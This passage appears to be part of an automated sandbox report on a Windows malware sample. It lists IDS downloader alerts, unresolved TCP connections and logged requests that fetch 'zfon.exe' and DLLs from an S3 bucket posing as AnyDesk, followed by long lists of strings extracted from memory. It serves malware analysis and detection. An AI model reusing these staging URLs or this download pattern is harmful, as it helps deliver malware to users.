Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49743 -> 3.5.239.146:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49749 -> 52.95.161.33:443

Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	TCP traffic detected without corresponding DNS query: 27.50.63.8
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\hh.exe

Code function: 7_2_000001CDCB8F3B00 recv,

7_2_000001CDCB8F3B00

Source: global traffic	HTTP traffic detected: GET /zfon.exe HTTP/1.1Host: anydesk17.s3.ap-east-1.amazonaws.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /view.png HTTP/1.1Host: anydesk17.s3.ap-east-1.amazonaws.com
Source: global traffic	HTTP traffic detected: GET /aut.png HTTP/1.1Host: anydesk17.s3.ap-east-1.amazonaws.com
Source: global traffic	HTTP traffic detected: GET /VCRUNTIME140.dll HTTP/1.1Host: anydesk17.s3.ap-east-1.amazonaws.com
Source: global traffic	HTTP traffic detected: GET /vcruntime140_1.dll HTTP/1.1Host: anydesk17.s3.ap-east-1.amazonaws.com
Source: global traffic	HTTP traffic detected: GET /MSVCP140.dll HTTP/1.1Host: anydesk17.s3.ap-east-1.amazonaws.com
Source: global traffic	HTTP traffic detected: GET /libcef.dll HTTP/1.1Host: anydesk17.s3.ap-east-1.amazonaws.com

Source: global traffic	DNS traffic detected: DNS query: anydesk17.s3.ap-east-1.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002977000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A33000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A4F000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anydesk17.s3.ap-east-1.amazonaws.com
Source: VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002977000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A33000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A4F000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anydesk17.s3.ap-east-1.amazonaws.comd
Source: VJQyKuHEUe.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: VJQyKuHEUe.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: explorer.exe, 0000000B.00000000.2557975463.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2557975463.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.2589830986.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.2589830986.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2669095674.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2673608765.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3869237698.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4594191362.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2681020185.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2660154040.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2669522029.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2705880886.00000000047FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: VJQyKuHEUe.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: VJQyKuHEUe.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: VJQyKuHEUe.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: VJQyKuHEUe.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: explorer.exe, 0000000B.00000002.2581630998.0000000000F13000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2551388655.0000000000F13000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2705880886.0000000004849000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2686333787.0000000004849000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4594191362.0000000004849000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2669095674.0000000004849000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2681020185.0000000004849000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2673608765.0000000004849000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2681446324.0000000004849000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3867700220.0000000004849000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3871930206.000000000485B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3871870642.000000000484F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2669522029.0000000004849000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2660154040.0000000004849000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: VJQyKuHEUe.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: VJQyKuHEUe.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: explorer.exe, 0000000B.00000000.2557975463.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2557975463.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.2589830986.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.2589830986.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2669095674.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2673608765.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3869237698.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4594191362.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2681020185.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2660154040.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2669522029.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2705880886.00000000047FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: VJQyKuHEUe.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: VJQyKuHEUe.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: VJQyKuHEUe.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: VJQyKuHEUe.exe	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: VJQyKuHEUe.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: explorer.exe, 0000000B.00000000.2557975463.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2557975463.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.2589830986.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.2589830986.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2669095674.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2673608765.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3869237698.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4594191362.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2681020185.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2660154040.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2669522029.00000000047FC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2705880886.00000000047FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: VJQyKuHEUe.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: VJQyKuHEUe.exe	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: VJQyKuHEUe.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: VJQyKuHEUe.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: VJQyKuHEUe.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: VJQyKuHEUe.exe	String found in binary or memory: http://ocsp.digicert.com0N
Source: VJQyKuHEUe.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: explorer.exe, 0000000B.00000002.2589830986.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2557975463.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: VJQyKuHEUe.exe	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: VJQyKuHEUe.exe	String found in binary or memory: http://s.symcd.com06
Source: VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002977000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A33000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A4F000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s3-r-w.ap-east-1.amazonaws.com
Source: VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002977000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A33000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A4F000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s3-r-w.ap-east-1.amazonaws.comd
Source: explorer.exe, 0000000B.00000000.2556832450.0000000008870000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000000.2556911362.0000000008890000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.2587251608.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002964000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: VJQyKuHEUe.exe	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: VJQyKuHEUe.exe	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: VJQyKuHEUe.exe	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: Amcache.hve.10.dr	String found in binary or memory: http://upx.sf.net
Source: VJQyKuHEUe.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: explorer.exe, 0000000E.00000003.2749284190.000000000C187000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2726021307.000000000C187000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2737490360.000000000C187000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4608114951.000000000C178000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
Source: explorer.exe, 0000000B.00000002.2597298593.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2568860335.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 0000000B.00000000.2553828308.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.2585817290.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2737490360.000000000C072000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2749284190.000000000C072000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4608114951.000000000C068000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2726021307.000000000C071000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002970000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.00000000029AC000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A33000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A4F000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A6E000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002964000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anydesk17.s3.ap-east-1.amazonaws.com
Source: VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anydesk17.s3.ap-east-1.amazonaws.com/MSVCP140.dll
Source: VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anydesk17.s3.ap-east-1.amazonaws.com/MSVCP140.dlld
Source: VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anydesk17.s3.ap-east-1.amazonaws.com/VCRUNTIME140.dll
Source: VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anydesk17.s3.ap-east-1.amazonaws.com/VCRUNTIME140.dlld
Source: VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anydesk17.s3.ap-east-1.amazonaws.com/aut.png
Source: VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anydesk17.s3.ap-east-1.amazonaws.com/aut.pngd
Source: VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anydesk17.s3.ap-east-1.amazonaws.com/libcef.dll
Source: VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anydesk17.s3.ap-east-1.amazonaws.com/libcef.dlld
Source: VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anydesk17.s3.ap-east-1.amazonaws.com/vcruntime140_1.dll
Source: VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anydesk17.s3.ap-east-1.amazonaws.com/vcruntime140_1.dlld
Source: VJQyKuHEUe.exe, 00000000.00000002.2529667483.00000000029AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anydesk17.s3.ap-east-1.amazonaws.com/view.png
Source: VJQyKuHEUe.exe, 00000000.00000002.2529667483.00000000029AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anydesk17.s3.ap-east-1.amazonaws.com/view.pngd
Source: VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002940000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anydesk17.s3.ap-east-1.amazonaws.com/zfon.exe
Source: explorer.exe, 0000000B.00000002.2589830986.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2557975463.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3870691749.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3867808677.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2665757256.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2656869082.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2673852456.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4601406325.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2662236331.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3865469179.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2669765501.0000000008DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 0000000E.00000003.2658620347.0000000008E15000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4601406325.0000000008E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 0000000E.00000003.3867808677.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2662236331.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2656869082.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4601406325.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2669765501.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2665757256.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2673852456.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: explorer.exe, 0000000B.00000000.2552524018.00000000035FA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.2583918410.00000000035FA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.coml
Source: VJQyKuHEUe.exe	String found in binary or memory: https://d.symcb.com/cps0%
Source: VJQyKuHEUe.exe	String found in binary or memory: https://d.symcb.com/rpa0
Source: VJQyKuHEUe.exe	String found in binary or memory: https://d.symcb.com/rpa0.
Source: explorer.exe, 0000000B.00000000.2557975463.0000000009BB2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.2589830986.0000000009BB2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2662236331.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2656869082.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2669765501.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2665757256.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2673852456.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: zfon.exe, 00000005.00000000.2525776894.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000006.00000000.2527059033.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000006.00000002.2606835994.00007FF7F981B000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000000.2806503804.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000002.2809331354.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000000.2807948806.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000002.2809299266.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000000.2959614142.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000002.2961814980.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000002.2961682739.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000000.2960499282.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000002.3553393851.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000000.3549567178.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000002.3553394809.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000000.3551069756.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000000.4164944378.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000002.4185877613.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000002.4185778715.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000000.4182637611.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://nydus.battle.net/App/
Source: zfon.exe, 00000005.00000000.2525776894.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000006.00000000.2527059033.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000006.00000002.2606835994.00007FF7F981B000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000000.2806503804.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000002.2809331354.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000000.2807948806.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000002.2809299266.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000000.2959614142.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000002.2961814980.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000002.2961682739.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000000.2960499282.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000002.3553393851.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000000.3549567178.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000002.3553394809.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000000.3551069756.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000000.4164944378.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000002.4185877613.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000002.4185778715.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 